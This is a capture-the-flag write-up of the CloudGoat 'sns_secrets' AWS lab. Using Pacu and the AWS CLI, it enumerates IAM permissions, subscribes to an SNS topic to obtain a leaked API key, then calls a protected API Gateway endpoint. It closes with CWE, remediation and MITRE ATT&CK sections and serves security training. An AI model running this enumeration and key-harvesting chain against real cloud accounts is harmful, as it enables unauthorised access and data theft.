๐ฅท CloudGoat: SNS Secrets
Write-up: Exploiting SNS subscriptions to leak API keys
๐งญ Overview
Scenario: sns_secrets \
Platform: CloudGoat (Rhino Security Labs) \
Tools: Pacu + AWS CLI \
Objective: Enumerate SNS topics, subscribe to leak secrets, and access protected API Gateway endpoints.
โ๏ธ Attack Path Summary
SNS User โ IAM Enum โ SNS Enum โ Subscribe to Topic โ Receive API Key โ API Gateway Enum โ Access Protected Endpoint โ Flag
๐ Phase 1: Initial Access
Configure Profile
aws configure --profile sns_secrets
# Access Key: AKIA****************
# Secret Key: 7C30FWO69LHE8JZt7RcZ********************
Validate Credentials
aws sts get-caller-identity --profile sns_secrets
{
"UserId": "AIDA****************",
"Account": "7912********",
"Arn": "arn:aws:iam::7912********:user/cg-sns-user-cgid38umo4q95r"
}
๐ Phase 2: IAM Enumeration
Launch Pacu and Import Keys
pacu
Pacu > import_keys sns_secrets
Enumerate Permissions
Pacu > run iam__enum_permissions
Pacu > whoami
{
"UserName": "cg-sns-user-cgid38umo4q95r",
"Permissions": {
"Allow": {
"sns:listsubscriptionsbytopic": { "Resources": ["*"] },
"sns:gettopicattributes": { "Resources": ["*"] },
"sns:receive": { "Resources": ["*"] },
"sns:subscribe": { "Resources": ["*"] },
"sns:listtopics": { "Resources": ["*"] },
"apigateway:get": { "Resources": ["*"] }
},
"Deny": {
"apigateway:get": {
"Resources": [
"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration",
"arn:aws:apigateway:us-east-1::/apikeys",
"arn:aws:apigateway:us-east-1::/apikeys/*"
]
}
}
}
}
Key Findings
| Service | Permissions | Note |
|---|---|---|
| SNS |
listtopics, subscribe, receive
|
Can subscribe to topics |
| API Gateway |
get (with denies) |
Can enumerate APIs but not keys directly |
The explicit deny on /apikeys and /apikeys/* suggests there are API keys we're not supposed to access directly. But can we get them another way?
๐ฌ Phase 3: SNS Enumeration
Discover SNS Topics
Pacu > run sns__enum --regions us-east-1
[sns__enum] Starting region us-east-1...
[sns__enum] Found 1 topics
View Enumerated Data
Pacu > data
{
"SNS": {
"sns": {
"us-east-1": {
"arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r": {
"Owner": "7912********",
"SubscriptionsConfirmed": "0",
"SubscriptionsPending": "0"
}
}
}
}
}
Found: arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r
๐ Phase 4: Subscribe to SNS Topic
Subscribe with Email
Pacu > run sns__subscribe \
--topics arn:aws:sns:us-east-1:7912********:public-topic-cgid38umo4q95r \
--email my-email@example.com
After confirming the subscription, the SNS topic publishes a message containing the leaked API key:
API Key: 45a3da610dc64703b10e273a4db135bf
๐ Phase 5: API Gateway Enumeration
List REST APIs
aws apigateway get-rest-apis --profile sns_secrets --region us-east-1
{
"items": [
{
"id": "gfal9z7rki",
"name": "cg-api-cgid38umo4q95r",
"description": "API for demonstrating leaked API key scenario"
}
]
}
Get Stages
aws apigateway get-stages \
--rest-api-id gfal9z7rki \
--profile sns_secrets \
--region us-east-1
{
"item": [
{
"stageName": "prod-cgid38umo4q95r"
}
]
}
Get Resources
aws apigateway get-resources \
--rest-api-id gfal9z7rki \
--profile sns_secrets \
--region us-east-1
{
"items": [
{
"id": "1wq00q",
"pathPart": "user-data",
"path": "/user-data",
"resourceMethods": { "GET": {} }
},
{
"id": "n20xrta7ec",
"path": "/"
}
]
}
Construct API URL
API Gateway URL format: https://{api-id}.execute-api.{region}.amazonaws.com/{stage}{resource-path}
Endpoint: https://gfal9z7rki.execute-api.us-east-1.amazonaws.com/prod-cgid38umo4q95r/user-data
๐ฉ Phase 6: Capture the Flag
Call Protected Endpoint
curl -X GET \
https://gfal9z7rki.execute-api.us-east-1.amazonaws.com/prod-cgid38umo4q95r/user-data \
-H "x-api-key: 45a3da610dc64703b10e273a4db135bf"
{
"final_flag": "FLAG{SNS_S3cr3ts_ar3_FUN}",
"message": "Access granted",
"user_data": {
"email": "SuperAdmin@notarealemail.com",
"password": "p@ssw0rd123",
"user_id": "1337",
"username": "SuperAdmin"
}
}
๐ Attack Chain Diagram
โโโโโโโโโโโโโโโโโโโโโโโ
โ SNS User โ
โ (sns_secrets) โ
โโโโโโโโโโโโฌโโโโโโโโโโโ
โ iam__enum_permissions
โผ
โโโโโโโโโโโโโโโโโโโโโโโ
โ Discovered Perms โ
โ - SNS: subscribe โ
โ - API GW: get โ
โโโโโโโโโโโโฌโโโโโโโโโโโ
โ sns__enum
โผ
โโโโโโโโโโโโโโโโโโโโโโโ
โ SNS Topic Found โ
โ public-topic-* โ
โโโโโโโโโโโโฌโโโโโโโโโโโ
โ sns__subscribe (email)
โผ
โโโโโโโโโโโโโโโโโโโโโโโ
โ Leaked API Key โ
โ via SNS message โ
โโโโโโโโโโโโฌโโโโโโโโโโโ
โ apigateway:get
โผ
โโโโโโโโโโโโโโโโโโโโโโโ
โ API GW Enumerated โ
โ /user-data GET โ
โโโโโโโโโโโโฌโโโโโโโโโโโ
โ curl with x-api-key
โผ
โโโโโโโโโโโโโโโโโโโโโโโ
โ FLAG โ
โโโโโโโโโโโโโโโโโโโโโโโ
๐จ Vulnerabilities Exploited
| # | Vulnerability | CWE |
|---|---|---|
| 1 | Sensitive data exposed via SNS topic subscription | CWE-200 |
| 2 | API key leaked through notification service | CWE-522 |
| 3 | Overly permissive SNS subscription policy | CWE-732 |
๐ก Remediation
- Never publish secrets via SNS - API keys, credentials, and sensitive data should never be distributed through notification services
- Restrict SNS subscription permissions - Limit who can subscribe to topics:
{
"Effect": "Deny",
"Principal": "*",
"Action": "sns:Subscribe",
"Resource": "arn:aws:sns:*:*:*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalAccount": "YOUR_ACCOUNT_ID"
}
}
}
- Use AWS Secrets Manager for API keys - Rotate and manage API keys securely
- Enable SNS topic encryption - Use KMS to encrypt messages at rest
- Monitor SNS subscriptions - Alert on new subscriptions to sensitive topics
๐ฏ MITRE ATT&CK Mapping
| Tactic | Technique | ID |
|---|---|---|
| Discovery | Cloud Service Discovery | T1526 |
| Collection | Data from Cloud Storage | T1530 |
| Credential Access | Unsecured Credentials | T1552 |
| Initial Access | Valid Accounts: Cloud Accounts | T1078.004 |
๐ ๏ธ Commands Reference
# IAM Enumeration (Pacu)
import_keys <profile>
run iam__enum_permissions
whoami
# SNS Enumeration (Pacu)
run sns__enum --regions us-east-1
data
# SNS Subscribe (Pacu)
run sns__subscribe --topics <topic-arn> --email <email>
# API Gateway Enumeration (AWS CLI)
aws apigateway get-rest-apis --profile <profile> --region <region>
aws apigateway get-stages --rest-api-id <api-id> --profile <profile> --region <region>
aws apigateway get-resources --rest-api-id <api-id> --profile <profile> --region <region>
# Call API Gateway with API Key
curl -X GET <api-url> -H "x-api-key: <api-key>"
You can also read this post on my portfolio page.
Top comments (0)